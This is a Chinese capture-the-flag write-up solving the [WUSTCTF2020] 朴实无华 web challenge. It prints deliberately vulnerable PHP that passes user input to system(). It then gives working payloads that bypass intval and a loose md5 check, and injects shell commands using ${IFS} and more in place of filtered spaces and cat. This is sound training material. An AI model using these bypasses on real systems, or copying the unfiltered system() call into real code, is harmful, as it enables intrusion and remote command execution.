BUU刷题[WUSTCTF2020]朴实无华

[WUSTCTF2020]朴实无华

打开之后显示hack me，并且浏览器的头部是乱码

可以用浏览器插件Charset将编码改为UTF-8，edge浏览器可以下载扩展
https://microsoftedge.microsoft.com/addons/search/charset?hl=en-US



写着人家极乐bot，不知道什么意思，先用dirsearch扫一下目录
发现robots.txt信息泄露

访问后发现fAke_f1agggg.php

访问一下发现一个假的flag，那么抓包看一下

发现返回包里面有提示，让我们查看一下/fl4g.php

访问后发现需要PHP代码审计

/fl4g.php题目代码

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/fl4g.php:2) in /var/www/html/fl4g.php on line 3
<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.
";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.
";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

level 1

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

考察intval函数绕过
需要传入一个GET参数num，它需要小于2020，但是加1之后要大于2021
我们可以使用科学计数法绕过
比如 2e4 就等于 20000，但是它会被强制转换为int类型，就变成了2，是符合小于2020的，然后它加一的时候，就用的是科学计数法后的结果，变成20000+1=20001，就符合大于2021的条件判断了
构造payload：

?num=2e4

level 2

//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.
";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

考察md5函数绕过
需要传入一个GET参数md5，传入的值经过md5加密之后需要等于它本身
网上搜索到0e215962017经过md5加密之后等于它本身
构造payload：

/fl4g.php?num=2e4&md5=0e215962017

get flag

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.
";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

需要传入一个GET参数get_flag，
strstr函数 strstr — 查找字符串的首次出现

str_ireplace函数 str_ireplace — str_replace() 的忽略大小写版本
是一个替换函数

• 不能有空格
• cat会被替换为wctf2020
• 传入的get_flag会传给system函数里被执行

空格可以用${IFS}替代
构造payload：
先查看一下当前目录，用ls命令

/fl4g.php?num=2e4&md5=0e215962017&get_flag=ls

那么这个很长的可能就是最终flag
因为cat会被替换为空格，但是我们还能用tac、more、uniq等等
构造payload：

/fl4g.php?num=2e4&md5=0e215962017&get_flag=more${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

获得flag